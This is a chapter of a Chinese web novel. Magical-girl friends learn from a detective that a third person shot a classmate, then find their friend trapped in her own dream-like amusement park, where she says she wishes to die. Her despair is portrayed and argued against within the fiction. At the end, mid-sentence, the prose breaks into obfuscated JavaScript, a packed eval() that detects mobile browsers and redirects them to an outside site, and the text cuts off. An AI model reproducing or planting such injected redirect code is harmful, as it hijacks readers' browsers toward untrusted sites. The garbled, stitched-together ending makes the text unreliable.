“这位小姐您好,很遗憾没能直接与您面对面交流。事实上所有的私家侦探都不被允许参与调查这起案件,有乐千奈顾问或许明天早上就会在晨间新闻里由市长有乐善太郎的嘴说出她想要的答案了吧。同时若是她的双眼没有因岁月的流逝而蒙上灰尘,那么她想必已经知道真相了。” “有乐千奈,有乐羽生的妈妈。”犬山晓想起了这个人。 “可是,比起她的妈妈想要的答案,我们与我们的朋友需要一个确切的真相。”艾克里普没有放弃,“能拜托您帮帮我们吗?” “你们的朋友,有乐羽生小姐对吗?”似乎被什么词句触及到了,电话那头的声音变得精神了些。 “是的,她躲在了一个只有自己知道的地方,我们想把她找出来,但又担心自己在做无用功,所以至少希望把真相带给她。”犬山晓解释说。 电话那头一时没有回应,随即传来了纸张被翻动的声音,之后对面再次开口说话。 “如果仅仅是需要一个真相的话那就该另当别论。”她郑重地说,“你们的委托我接下了。” “太好啦!谢谢您!”艾克里普激动地说。 “想必日之森的教学楼现在并不开放参观,各位有什么方法让我一睹现场真容吗?” “有!我们把现场拍下来了!每一处角落都拍下来了!”森山寺未央说。 “那请您将照片从我的官方网站上的邮箱发送给我,我会尽快给出我的分析结果,最迟于今日的黄昏降临之前。”启明星语气轻松地说,“那么,感谢您的信任!” 通话结束,森山寺未央赶忙将照片发送过去,此时已经过了上课时间,几人商量之下决定等傍晚了再次集合。 趁这段时间,犬山晓把新的器官带去了克拉拉的实验室,上一次和她见面还是询问线索那一次,克拉拉看见来者有些意外,停下了手里的工作但没有从椅子上下来的意思。 看着对方整个人缩在椅子上,犬山晓担心其血液循环问题,却又不知道以什么立场去说。 “真没想到能这么快又见到你,”克拉拉扶了扶眼镜补充说,“完整地。” “说了放心。”犬山晓无奈地说。 “那么你有什么收获吗?从那个社会和生物学宫殿里你大概也找不到什么东西吧。”克拉拉说着开始带着手套校验起了密封罐。 “确实一无所获,”犬山晓也没打算完全瞒着对方,“连能说话的人都没找到呢,更别提东西了,大多都是些不知道从哪里开始看的东西。不过娱乐楼里面那棵树确实特别壮观。” “没找到人吗?我以为你们至少会找个带路的家伙。”克拉拉头也不抬说。 “不是你说的它不提供参观吗?”犬山晓疑惑。 “那是对外人,你的那个朋友,有乐羽生,她的面子不管用吗?”克拉拉打趣道。 “诶,羽生最近身体不舒服,没办法和我们一起。”犬山晓说起这个又叹气了,“我们也没打算光明正大地进去,就这种程度就要搬出那一套也太麻烦了。” “我以为会有那种展开呢,无论什么时候都不过时的那种,”克拉拉笑着说,“抱歉这里不能通行!什么刚才没看清你的脸很抱歉!什么的?” 犬山晓没想到对方是会看这种作品的人,只是无奈地看着她。 “哎呀,毕竟她家不是有亲戚在里面工作吗?那位不会特意出现但是偶尔也会出现在新闻访谈里的。”克拉拉被看得有些尴尬,“有乐千实,董事会秘书有乐千实,这个位置的人想给自己家里的小孩发个参观邀请不是顺手的事情?” 这个人物犬山晓确实不知道,但她也想起有乐羽生确实谈起过这样一个人。 “羽生的姐姐吗?羽生说她和妈妈吵架之后就再也没回去过了,她妈妈也很避讳这个人。”犬山晓犹豫地说,“这种关系下去拜托人家是不是不太好?” “姐姐?和妈妈吵架?”克拉拉像是听见了什么熟人的笑话一样一个人自顾自地乐了起来,“怎么会被理解成这样?好好笑啊哈哈哈!” “那到底是怎么样?”犬山晓耐心地等对方笑完。 “听名字就知道了吧,或者说哪个小孩子连名字也不知道?”克拉拉笑够了就扶了扶眼镜,“有乐千实是有乐千奈的妹妹,而不是有乐羽生的姐姐。” 犬山晓顿了顿,恍然大悟,之前有乐羽生说自己发现家里曾经有个大十五岁的姐姐,她只觉得大家族内姐妹年龄相差大并不罕见,若是改为自己母亲的妹妹便合理了许多。 “那也怪不得羽生误会,毕竟她什么也不知道。”犬山晓思索了一番。 二人再聊了几句过后便分开了,犬山晓收到消息说启明星发来了回复,连忙点开手机里的转发内容。 致各位委托人: 承蒙信任,各位选择我作为此次案件的破案者,实感荣幸。 我已仔细审阅您所提供的照片及证据,其中确有诸多耐人寻味之处,然真正关键的问题乃是:案发时,天台上究竟有几人? 基于您提供的线索,我展开推理,得出的结论如下:当时天台上另有第三人嫌疑人X的存在,并且此人正是真凶。 我的推理如下:案发当时,两人在围栏边争执,而第三人则隐匿于出口处的视线死角伺机行动。凶手使用装载了简易消音器的手枪,远距离射击受害者,使其失去平衡并向后坠落。而我在分析现场照片后发现,出口处存放着橡胶垫与金属管,这两者正是制造简易消音器的常见材料,而那一抹大概率来自死者的血渍,进一步印证了枪击的可能性。 然而,案件发生后不久,便有大量围观者涌上天台,制造了混乱。凶手不可能及时逃脱,因此极有可能混入围观者之中,借此掩盖自己的行踪。 至于行动动机,遗憾的是,在现有线索下,我无法直接推理出凶手的身份与真正的目的。然结合事件发生的背景,凶手极有可能意图栽赃给天台上的另一位目击者,也就是各位的朋友有乐羽生小姐。 若想进一步锁定目标,建议关注以下特征:一位在围观者之中,主动传播案情信息,并且具备一定行动能力之人。犯人试图引导舆论,并借助人群掩饰自身的存在,或许还在暗中观察事态的走向。若是几位需要一个真相令有乐羽生小姐安心,那么这就是最好了了。 敬启, 启明星 “太好了!羽生果然不是凶手!”艾克里普非常开心得到这个结果。 “第三个人,而且带着这些特征的话。”犬山晓心里有了人选。 “果然是西西路老师吧!她到底是为什么要这样做?她难道和那些针对我们魔法少女的存在有什么联系吗?”森山寺未央疑惑地猜测。 “这些果然只能当面问她了,不过不是现在,我们先去羽生的心像空间吧。”犬山晓说。 “果然得找专业的人!但羽生的妈妈自己调查的话能找出这个答案吗?”森山寺未央说。 “每个人都有自己的办法,不过她作为政客,可能只会挑自己想让大家知道的说吧。”艾克里普说着叹了口气,“羽生或许也是因为这个而不愿意和家里人说话的吧。” “那这样一来,如果羽生她想说些什么,就只有她这个当事人能站出来,告诉所有人真相。”犬山晓说。 几人再次聚集到更衣室,彼此对视一眼,不再犹豫,向结界所在的地方走去。 24. Ⅶ 视线扭曲之后,有乐羽生创造的结界内部心像空间展现在了几人的眼前。天空澄澈,蔚蓝的天幕无尽绵延,却无一丝云朵的痕迹。取而代之的是巨大的棉絮状蓝鲸如漂浮的岛屿般悬挂于高空,但并没有因遮挡住太阳而投下影子。 几人站在落脚处放眼望去,不远处摩天轮缓缓旋转,座舱玻璃闪烁着七彩光芒,倒映出天空的湛蓝。过山车的轨道盘旋交错,车厢在轨道上疾驰自顾自地穿梭。华丽的旋转茶杯轻盈地舞动,涂满糖果色的杯沿散发着甜腻的气息。 “这里是,”森山寺未央兴奋又不确定地说,“游乐园?羽生的结界里面是游乐园?好厉害好大!” “应该是了,不过比我们之前一起去过的那个大好几倍。”犬山晓警觉地四处打量,“可能是以那座游乐园为原型建造的。” “这里的魔力分布很不均匀呢,不过就新手来说相当不错了。”艾克里普赞叹道。 “心像空间难道是越大越好的吗?”森山寺未央问道。 “并不能这样说啦。”艾克里普想了想说,“合适的比较好吧,就像是自己的房间一样。” 比起之前的那座游乐园,眼前的无边乐园面积明显要广袤地多,光是那座木质过山车的占地就肉眼可见地堪比日之森校区的一半大,木质结构错综复杂。更别提这里的娱乐设施比起那座游乐园显然要完善得多,不如说有些过于完善了,简直是世界游乐设施大赏比赛现场。 “羽生在哪里呢?这里好大哦。”森山寺未央眺望远方,对一切没见过的东西大呼小叫。 “无论是不是自愿待在这里的,她都有大概率在最深处,或者说心像空间的中心。”犬山晓说,她并没有表现出太多的好奇,只是非常警惕。 “大家小心,在还没遇到羽生之前,不能确定这里的一切都是无害的。”艾克里普说。 几人都换上了魔法少女的装束,在这里她们的魔力不会被抑制,能最大程度地使用能力,就像是魔法少女终于回到了幻想故事中一样。 几人缓步往前走,整座游乐园到处悬挂着色彩斑斓的彩旗,它们随风翻飞。而最令人无法忽视的,便是那些巨大的蓝色和平鸽充气吉祥物,它们膨胀着的圆润躯体站在各个娱乐设施的检票处,偶尔拍打着充气翅膀,无辜而憨态可掬。 “那个是日之森的吉祥物气球吧,不过只有蓝色的那款。”森山寺未央指着那群胖鸽子气球开口,“羽生原来有那么喜欢它们吗?就连心象空间里都有这么多。” 而不知是不是这句话被察觉到了,一部分吉祥物将视线对准了她们,那代表笑容而眯起的两条曲线因缺乏缝合线的存在而显得格外诡异,但至少并没有额外的动作。 “继续往前走吧,小心点。”犬山晓说着开始往里走,“这里空间太大了,内容维持起来消耗魔力也很多,我们得尽快把补给品带过去。” 三人逐渐向游乐园内部走去。 游乐园的外部地砖随着深入而逐渐消失,明明最初还是稳固的石砖道路,却不知何时开始混入了细腻的金色沙粒。随着前行,地面上的沙子越积越厚,最终彻底变成了一片流沙,而唯有游乐设施们所在的地方没有沙子存在。 “沙子应该是为了使被抓进来的魔物失去行动力,这样的情况下羽生可以靠飞行能力很轻松地击败对手。”犬山晓分析着。 “羽生真努力啊,这么短的时间里就根据自己的特长构建出了这么完整的心像空间。”艾克里普夸赞说。 “那些游乐设施上是干净的诶,是陷阱吗?”森山寺未央疑惑又跃跃欲试地说。 “八成是了,所以别想着跑上去玩哦。”犬山晓意有所指。 就在三人步入流沙地区的下一刻,那些本来只是看着的吉祥物鸽子们忽然行动了起来,它们轻盈而飘忽的身体如同真正的气球一般漂浮着跳了起来,又落下,没有在流沙上留下一点痕迹,同时速度非常快,几个呼吸之间就来到了三人的面前,似乎想要从上往下地压在她们身上。 但这样的速度不足以捕捉到她们,森山寺未央和艾克里普很轻易地就躲了过去,犬山晓则故意没有反抗,任凭对方轻易地如同真正的鸟类一般用细小的爪子把自己抓起飞回了它本来看守的设施,飞天转椅。 在其余二人的注视下,犬山晓被拽着放进了一个座椅内,并被贴心地扣上了安全带,设备迅速地运行了起来。但它的运行速度比起正常的飞椅快上十倍不止,让犬山晓的身影看上去就像是一个被拴在绳子的终端上旋转着准备被扔出去的绳镖。 没一会,犬山晓自行打破了座椅的拘束跳了出来,那些吉祥物也没有去追她,反而慌里慌张地围到了停下来的设施上被打破的椅子旁边,迅速地用魔力维修了起来。 “有哪里奇怪吗?”艾克里普好奇地问。 “没有,这里的设施应该都没什么实际上的攻击作用,至少对我们来说是这样的。这样看来就真的只是大型的游乐设施而已。”犬山晓摇摇头,对这种浪费魔力的行为感到了不赞同。 “羽生的移动和攻击魔法都比较充足,应该是希望靠这些设施控制猎物,然后使用剑去攻击敌人吧。”艾克里普分析说,“不过确实是有些过于谨慎了。” “不过似乎在这里,设施的完整性比猎物更重要一些呢。”森山寺未央若有所思,“不过我也能理解啦,构建心像空间有点像在玩游戏。” “好玩吗?”艾克里普不太理解,“魔力充足的情况下没关系,但现在这种情况可就糟糕了呢,不过未央羽生是新手,总会有尝试阶段的。” “嗯嗯,我的魔力确实一直很缺乏呢。”森山寺未央感同身受。 几人一边避开吉祥物一边前进,犬山晓抓来了一只吉祥物,随后森山寺未央对其进行了同化,强迫其作为沙子上的交通工具,就这样一边探索一边朝游乐园的深处快速前进。 随着路面完全进入沙漠阶段,哪怕是用漂浮飞行的方式前进,含有魔力的沙尘也阻碍了几人的视线。 而不久后三人发现,在这座机器永不停歇的游乐园里,只有一座二层式旋转木马四周的灯泡一盏未亮,彩绘的木马静静立在原地,目光空洞,彷佛遗忘了自己的使命。 “只有旋转木马没有在工作,因为羽生不想让魔物碰自己最喜欢的设施吗?”森山寺未央疑惑。 “也有可能是因为这里靠近结界的最深处,反应了其主人更偏向于自己本能的那一部分心像空间吧。”艾克里普说着,却也不理解为何只有那个没有在运作。 “既然出现了变化,那羽生应该就在不远处了。”犬山晓说着,尝试隔着沙尘看向远方。 再往前走不久,在游乐园的最深处,一座巨大的玻璃塔静立于不断地下陷着的流沙之中。它的外壁光滑透明,内部可见一道华丽的螺旋楼梯,三人对此并不陌生。 “教学楼边上的玻璃上下楼梯间,但是高了很多啊。”森山寺未央很快就认出来了。 “没错,这个很明显是异常的,羽生应该就在这个附近了。”犬山晓点点头。 “你们看最上面,羽生在天台那里!”艾克里普激动地说。 三人抬头看,果然,在天台靠近围栏的地方矗立着一个人影,白色的立领军服和如翅膀般宽大的袖子,以及那标志性的宽阔洁白羽翼,以及胸前斜挎着天蓝色的绶带,正是魔法少女装束的有乐羽生。 而此时她只是站在天台上看着天空,似乎是在发呆,没有注意到来者。 “羽生没有注意到我们进来吗?”森山寺未央试图招手。 “可能这个时候她的魔力已经快耗尽了。”犬山晓皱眉。 “很有可能,这个结界对于新手来说算是非常大的,需要大量的魔力维持消耗。”艾克里普担心地说,“我们得尽快接近她。” “而且这里没法使用魔法传音,我们得想办法接近羽生。”犬山晓说。 自从进入心像空间后魔法传音就不能使用了,不知道是空间内的异常还是有乐羽生刻意禁止的。 “我们要自己跑上去吧,这家伙应该跳不了那么高。”森山寺未央说着扯了扯吉祥物的翅膀部分,很明显其并不具备飞翔功能。 “这玻璃表面目测非常的光滑,而且靠近它五米的地方就是漩涡型的流沙地区,我们得想办法跳过这部分直接接触大楼本体。”犬山晓分析。 “我来想办法制造道路吧。”艾克里普说着从自己的袖子里掏了掏,随后取出了一个信封,或者说被叠成信封状的纸。 艾克里普将信封拆开,倒出其中几乎微不可见的内含物在手心,快速朝几人的前方抛出,并抬起另一只手对其施加魔法。 那被抛出的物品在半空中发出了类似玻璃碎裂的声响,随后有多根线如同抽丝一般涌出,又缠绕回自身,反复重复多次后那得到的蛹已有正常人脑袋大小。忽然有一根枝条探出,随后所有的蛹中的枝条开始飞速绕着玻璃大楼生长,铺设出了一条可以行走的小路。 而最后空了的蛹则化作一抹灰尘在空中消散。 “是魔法!”森山寺未央激动地说。 “确实是魔法,”艾克里普笑了,“抓紧时间吧,它没法维持很久。” 三人跳上藤蔓铺设的小路开始朝上方奔跑,被放过的鸽子吉祥物缓缓沉入了塔下的流沙之中。 那玻璃塔的外层和整个游乐园格格不入,不仅沾染了一些沙尘,没有华丽的装饰和灯光,也没有任何可以游玩的部分,一定要说的话倒是和那不动的旋转木马有些相似。三人向上奔跑时也从玻璃塔中看见了自己的倒影,以及内部那永不停止的旋螺楼梯。 越是接近天空,日光带来的热度就越是明显了起来。 “这座塔似乎是最近才建成的,魔力气息比较混乱。”艾克里普分析说。 “…看来是最近发生的事情导致这座塔的出现,这很糟糕,她的魔力储备本就不算充分,这座塔显然会消耗更多的魔力。”犬山晓语气严肃。 “而且里面的构造也很精细啊,楼梯和扶手都有。”森山寺未央被手下带着往上跑,她自己完全跟不上前面两位。 抵达塔顶后三人的落脚点正是通往天台的楼梯出口处,背对着正在发呆的有乐羽生。 “羽生!”森山寺未央一着地就往对方奔去。 而听见有人呼喊自己,有乐羽生愣了愣,回过头来,感到了意外,但也同时没有那么意外,反倒是神情从本来仅仅是在发呆多了些惊恐。 “等等!先不要过来!”有乐羽生慌忙招手。 森山寺未央及时刹车,还往后退了两步,与另外二人站在一起。 “怎么了?羽生?发什么什么?”艾克里普有些焦急,她很快就察觉到了有乐羽生因缺乏魔力而虚弱的内在。 “等等,你们看她的脚上。”犬山晓神情凝重地说。 二人往有乐羽生的军靴上看去,很快便发现那拷在脚上的枷锁,连着一根通往大楼外部的锁链,以及矗立在锁链旁的有乐羽生的武器魔刀。 “…谢谢你们来找我。我的心像空间出现了异常,上一次我进入后发现中心地区出现了不明建筑,我上来确认后被锁在了这里,一直没能出去。”有乐羽生解释道,似乎是因为疲惫,她声音并不大。 “是什么锁住你了?锁链的那一端是什么?”犬山晓问,她的神色隐藏在面具下方。 “是,我也不知道,是一只巨大的魔物,我不知道它什么时候进来的,但是它被我关在了流沙下面一直出不来,我不敢动,也动不了。”有乐羽生说。 “巨大的魔物?你们就一直僵持到现在吗?”森山寺未央大为震惊。 “是的,这个锁链是因为它想抓住我把我拽下去,现在这样刚好处于一种平衡,它上不来我也走不了。”有乐羽生的表情无奈。 “现在看来,只有想办法把那魔物消灭了,羽生才能得到自由。”艾克里普迅速说,她看见有乐羽生疲惫的模样感到十分心疼。 “没错,”犬山晓对有乐羽生呼喊到,“羽生,你能让那个魔物出现吗?我们一起的话一定对付得了的。” 而对此,有乐羽生却是没有动作。 “它的样子有点奇怪,”半响,有乐羽生才轻轻地说,“不仅很强大,会说话,还会使用奇怪的魔法。” “没关系的,我们都在呢!”艾克里普安慰说。 但是有乐羽生却因为这句话反而变得更加消沉了一些,艾克里普不明白为什么。 “我不是第一次试图彻底消灭它了,每一次都以失败结束,并且它会变得更加强大,”有乐羽生低着头,“抱歉,给大家添麻烦了。” “这不是你的错吧!”森山寺未央觉得她这样实在是可怜,“我们出现在这里就是来给你帮忙的,一起击败魔物,然后一起回去吧!” “没错,相信我们,你很累了吧?”艾克里普安慰说。 这样的安慰让有乐羽生抬起头来,“我…”她这样说着朝几人探出了手。 随即,她朝着三人的方向前进了一步,但就这一步似乎牵扯到了锁链另一端的所有者的神经,那细细的锁链骤然紧绷为一根直线,不断颤抖着试图将有乐羽生向后拉,她不得不扶住自己的剑。 “砰-砰-砰-”像是巨大的枪声又像是巨人的脚步声,越来越近。 很快,一阵金属摩擦的声音自远而近地传来,伴随玻璃碎裂的巨大声响,有什么攀爬着玻璃塔的表面在往上爬! “啊————” 似乎是终于得以见到天空,那巨大的赤红色骷髅头骨在攀爬至天台顶端时发出了一阵嘶吼。与科学教室那一副不同,这骨架并不与人骨相似,但却由人的骨骼组成,摆动时如一颗招风的巨树。那是借着无数同样是人的头部骨骼连接而成的不完整头骨,如一张网格,沉重地攀着天台边缘起伏着。 而那脑壳下方本是脊椎骨的位置链接着手骨,同样是大量的手骨,使这手骨与头骨的集合物看上去像是某种甲壳类爬虫。 “有乐——羽生?”那无数头骨中的下颚一齐涌动着发出声音,像是带来了一场合唱,异常地有规律。 “你为什么——不去死?” 艾克里普看着那巨大的魔物,又看向有乐羽生,神色诧异。 那魔物在塔顶立足的一瞬间便扯住了连在它手骨和头骨连接处的锁链,使有乐羽生没法与其余三人汇合,她没有说什么,只是拿起了一旁的剑,转身面对这魔物。 “要是有办法斩断锁链就好了,不然就只能先杀死那只魔物,它看上去还挺强的,不过我们一起的话总归有办法解决。”森山寺未央说。 “先隔开她们之间的距离,”犬山晓快速分析,“让羽生待在后方,别让她被拉下去了。” “…消灭魔物吧,这之后再解决其它问题,让我先固定住它。”艾克里普说着再次取出了一个信封。 那魔法作效需要一定时间,犬山晓快速前进迎上魔物,而森山寺未央派出卡牌在战斗的同时保护有乐羽生。 那魔物发现靠近自己的犬山晓对自己有所威胁后便开始大声嘶吼,一副要发动攻击的样子,犬山晓顺势准备格挡却发现对方并没有对她造成任何伤害,仅仅是带起了强大的风压使她难以自如行动,风压带来的置缓感是魔法所为。她解开腰上的带子向阳台栏杆抛去,顺势甩了个结将自己拉进对方。 而与此同时,森山寺未央的卡牌变形为黑色涌动着的尖刺以近距离突刺,以避开风压的影响达到效果,这一击非常有效,完全击中了骷髅魔物躯体的一部分,但对方完全没有因受伤而做出任何的反应。 “羽生,你对于这个魔物是怎么形成的有什么印象吗?”森山寺未央抽空询问这个会呼喊名字的魔物的信息。 “我认为,可能和学校里发生的事情有关吧?可能是被吸引过来的?”有乐羽生一反常态地说话迟疑,声音有气无力,以往从不失礼的体态也没了踪影。 难道她是在因为这件事而难以释怀吗?森山寺未央猜测对方此时心不在焉可能有这方面原因,于是明白这时就应该把真相告诉她。 “羽生,关于这件事我们已经查清楚了!”森山寺未央说。 “对的!犯人是西西路老师,她开了枪,侦探帮我们找出了真相!”艾克里普也顺势说道。 “原来是这样吗?西西路老师?她怎么会做出这种事。”听到这些消息的有乐羽生好像打起了些精神,她回头时脸上的神色是讶异的。 “我们之后一起去问她吧,一定是有什么原因的,所以这些不是你的错!”森山寺未央大声说。 而这时,艾克里普的魔法也准备完毕了,那藤蔓再次涌出冲向因被刺中而失去了一些平衡的骷髅魔物,迅速地反复围绕其飞行并顺利地打了个结。 见到对方不再有反抗能力,犬山晓简单地蓄力之后腾空而起,从上至下对骷髅魔物巨大的脑部使用连续拳击,那接触到的地方寸寸裂开,很快,半个脑部骨骼都消散在了半空中,显露出空空如也的内在。 “消灭了。”犬山晓落回天台地面。 同样这样想着的其余两人转头看向有乐羽生,却发现对方依旧低着头不语,顺着视线看去,却发现她脚上的枷锁依然存在。 “有乐——羽生——” 三人的身后,那本应逐渐消散的魔物碎片却是逐渐重新聚集了起来,再次拼凑成了骷髅魔物的模样。 “为什么——没有来救我——” 而听见这声音的有乐羽生像是被击中了一般往后退了一步,她蹲了下来双手扶住脑袋,似乎十分痛苦。 “她的魔力正在被加速消耗。”艾克里普抬头看向那魔物,狂风吹起她的长发和面纱,她隔空与那魔物对视。 魔物嘶吼着,声音巨大而沙哑。 “这魔物,不,这难道是羽生心像空间的产物吗?”森山寺未央很快就反应了过来,不可思议地说。 就像那些吉祥物,地上的沙子,天空中的蓝鲸,一直在运转的游乐设施,或者停摆的摩天轮一样,这个魔物也是有乐羽生心像空间的一部分,这便能解释为何它明明被击败了却还能再次重组,消耗的还是有乐羽生的魔力。 “羽生,你并不是故意没有去救她,我们都知道我们是魔法少女,只有一种情况下我们如普通人一样,那就是被普通人确切地看着的时候。”森山寺未央迅速反应过来跑到有乐羽生的身边蹲下,认真地对有乐羽生说。 “那个时候,那个时候她已经掉出去了,没有人看着我,我却。”有乐羽生的声音非常细小,她没有在哭泣,或许她早已哭过了,现在她太累了,这种情况下还要解释自己的感觉和感情是很麻烦的事情,她只是在陈述事实。 陈述她曾经确实在那个天台上,眼睁睁看着天生目白掉下去的事实 “不是这样的,我们已经知道了,那个时候天台上有第三个人在,你被西西路老师看着。”森山寺未央继续解释说,“那是,那是没办法的事情吧?” “她开枪射击了天生目白的肩膀,留下了血渍,虽然装了消音器,但是你还是听见了吧?”犬山晓说,“如果说真的要追究凶手,那么那个凶手无论如何都不会是你的。” 艾克里普控制着藤蔓,阻止那骷髅魔物有所动作,她并没有攻击魔物以再次造成有乐羽生的魔力消耗。 “我,我是听见了。”有乐羽生犹豫地说,想起了自己听见的那爆炸声。但是即使是这样她的头也依然没有抬起来。 “羽生,现在只有一个办法,”艾克里普凝重地说,“你必须自行切断与这个心像空间的联系,让其自然衰弱直到消失,不然你会一直被困在这里直到你的魔力被消耗殆尽!” 听见这句话,有乐羽生却反而一副一切果然如此的模样,变得心平气和了些许,却依旧疲惫,她彻底坐到了地上,抬头看向了天空,不再理会那魔物的嘶吼和同伴的讨论。 “羽生?”艾克里普不理解她的状态,但她觉得有哪里不对。 “就这样吧。”有乐羽生说,声音里没什么情绪。看着这样的她,森山寺未央一瞬间回想起了自己的姐姐,以及一年前的自己。 “别就这样放弃啊,”森山寺未央焦急地说,“你能这么快构建出第一个,第二个肯定更快啊?不要为这种事情送命啊!” 而被摇晃着肩膀的有乐羽生却是一副超然的样子看着蓝天。 “我很喜欢这里。”有乐羽生说。 “有永远一直在运行的游乐园,有永远不会暗下来的,是蓝色的天空,还有我们没能看到的蓝鲸,这里就是我最喜欢的地方了,不会有更好的了。”她说,语气轻飘飘的,像是和那些蓝色的鲸鱼一起不合时宜地飘去了天上。 魔物在嘶吼,大楼在下陷,她的同伴因她而焦急,但她似乎已经可以不在乎这些了一样。 “哪怕这里很快就会被毁灭,而且你的脚被锁着哪里都去不了?”犬山晓看着有乐羽生无所谓的脸质问,“以后你再努力创造这些就行了不是吗?想想看你的家人,以及你过去和未来的一切,你死在这里的话那些就全都没有意义了。” 有乐羽生的眼珠滑动,看向说着这些的犬山晓,她感受到那面具之下焦急的心情,但却没有顺应其想法想起那些,而是透过她看向蓝天,并想起了更久以前的事情。 有乐羽生喜欢天空,尤其是蓝天,不仅仅因为那是蓝色的,也是因为那里什么都没有。 幼年时,她问家里的老师天上有什么?老师说太空里有太阳月亮星球们,半空中有水汽造成的浮云和飞机臭氧层。 “我是说那片蓝色的天空里,不是说那些地方。”有乐羽生按照自己心里的定义纠正说。 “哪里?蓝色?那只是颜色而已。”那位老师这样没有想象力地说。 于是年幼的有乐羽生就这样喜欢上了看向天空,因为她觉得自己适合那里,因为她认为自己也是什么都没有的人。 她确实拥有好多东西,无论是物质上的还是精神上的都未曾缺少,甚至就连那一双羽翼都配合地生长在她的背上,但她依旧贪心想要别的东西。她所求的并不是一份礼物或者美好的前程,而是没法直接被说出口的那“属于她自己的东西”。 原因是她这样的想法:若是一切的物质和才华都是由别人刻意培养出来的,若是自己本身实际上是一个非常平庸,扔进人堆里就再也没法被找出来的人怎么办?我既没有反抗的决心,也没有姐姐那样做出决定就再不回头的勇气。若是父母察觉到这一点会不会为此失望,就像是对我那姐姐失望一样将我抛弃再去培育新的可能? 有乐羽生常年在心底的深处一直恐惧着这样的问题,她既害怕自己独自一人面对社会,又讨厌自己的这份软弱,于是她折中之下,想要在父母的注视下证明自己哪怕没有完全照着她们说的那样做,也能获得些成就。 乐队组成的时候,她就明白自己的机会来了,这不仅仅是一个证明自己的机会,也是一个趁机成长的机会,不仅仅是那些被父母注视着的属于普通人的才能,还有那些属于她自己的才能,也能借着这个机会得到开会结果。 结果例如乐队获得那些学生会成员的认可,获得父母的认可,疑惑者,她靠着魔法少女的能力成为这座城市中的守护者。 “能和大家度过这么一段愉快的时光已经是奇迹了。”有乐羽生发自内心地这样想,也这样说了。 一开始进入心像空间时她确实只是想要一时的清净,而被不明原因形成的魔物攻击时她确实有想过幸好自己提前在更衣室做好了准备,会有朋友来救她。但随着待在这片蓝天下的时间越来越长,她内心的想法产生了变化。有乐羽生觉得父亲和母亲一直以来遵循的那些或许是有一定道理的,严于律己会为自己带来高尚的灵魂,而无论是社会学还是宗教的推崇灵魂高尚的人能够得到自己想要的。 是不是因为我的贪心,我才变得如此沉重,所以才飞不起来呢?有乐羽生看向天空时偶尔会这样想。 “这样就好了,谢谢大家来找我,这里很快就会消失了,大家快走吧。”她平静地说,至少最后的时候,她想要让自己看上去没那么贪心,或许死后便可以飞起来了,再也不用回到地面上,也不需要去考虑疲惫和饥饿的问题,别人说的话也听不到了。 “你真的清楚自己在说什么吗?”森山寺未央不可置信地看向眼前平静到令她感到陌生的人,觉得她说的话荒谬到令她生气,“你真的想死吗?明明我们来救你了你却想去死吗?” 这话说的直白,但确实是她目前理解到的真实情况,她把这话直接说出来也是希望得到对方的一些反应或者否认,但有乐羽生却只是看着天空一言不发,仿佛只有那里值得她投去视线。 “什么叫‘谢谢大家来找我啊’?这是什么获奖感言吗?为什么你能如此顺理成章地说出这种自暴自弃的话来呢?”森山寺未央因无法理解这些话也无法让有乐羽生理解自己而痛苦不已,她放开了一直摇晃着的肩膀,“为什么有事不能和我们商量一下呢?我们不是朋友吗?” “对啊羽生,无论如何我们都会陪着你,什么事都会有办法解决的,这样也没法让你回心转意吗?”艾克里普感到了恐慌,她与其余二人一起为达到这里努力,一方面是相信有乐羽生的为人,但更大的原因是因为她不愿意失去同伴。 实际上,即使有乐羽生并不无辜,艾克里普依旧会决定救她,但她从未预料到自己的同伴能就这样放弃自己本身,以及身为同伴的她,这令她感到恐慌以及悲伤。 那魔物还在嘶吼,天台在下陷,艾克里普看见它的第一眼就理解了它的存在是怎么一回事,但那没关系不是吗?哪怕有乐羽生的一切都失去了她也还是魔法少女,艾克里普认为这些就足够了。 “抱歉,艾克里普。”而能够理解艾克里普内心想法的有乐羽生,除了道歉却什么也不说,她甚至没有去纠正艾克里普的看法。 “是什么让你就这样放弃的?”犬山晓蹲下与有乐羽生平视,尽可能心平气和地安慰她,“我们之前演出的时候你明明很开心,去游乐园的时候你也很开心,这样开心的机会只要你活着从这里出去就可以再遇到无限多次,即使是这样你也要选择待在这里的理由是什么?是什么让你这样拒绝外面的世界?” 犬山晓清楚这个世界上的人大多数用一副假象面具面对别人,内心实际上对于别人和社会都相当的排斥,其中大多数选择忍耐,一部分选择主动隐藏起来。她明白有乐羽生是一直以来选择忍耐的那个人,一定有什么契机令她忽然无法再回归原来的生活了。 这个契机是什么呢? “就和我们说说吧,”犬山晓说,“哪怕是为了发泄也和我们说说吧,好吗?” “为什么还不走呢?还对我怀有期待吗?”有乐羽生看着不愿动身的几人,嘴角忽然扯出了笑容,非常难看,“那就再次说声对不起吧,说实话对你们也好,对天生目也好,我实际上都不是很放在心上,也不准备因为你们而选择继续我的人生。” 这就是最真实的她了,有乐羽生确信,她只想要自己想要的,只想顾及自己最真实的感受,之前不过是因为外界的一切而选择自我控制而已。但现在已经不重要了,没关系了,在这个心像空间里她就是只需要顾及她自己,那么就这样死在这里面就好了。 “…羽生?”艾克里普不可置信地退后了一步,她根本不理解有乐羽生话语里的含义。 森山寺未央也完全不理解,但这种情况对她来说已经是常态了,所以虽然她同样感到惊异却也没有到无法接受的程度。 “为什么?”犬山晓没有退后,她并不在意有乐羽生是否看重自己,她仍旧没有放弃将其拉回原来的世界。 而看着这样的犬山晓,有乐羽生也明白自己不说清楚的话对方便不会放弃,她叹了口气,准备干脆就这样用自己的真心话伤害对方。 “我们一开始就是因为一个巧合聚在一起的,因为我们同样是魔法少女,有着同样的烦恼,所以干脆聚集在一起互相帮忙互相支持,只是形式上是乐队,是这样不是么?”有乐羽生看着犬山晓说,她的声音很轻,但很坚定,“我们只是正巧有四个人,正巧对这个决定没有意见,正巧都是比较友善的人,仅此而已不是吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706137|173535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ? 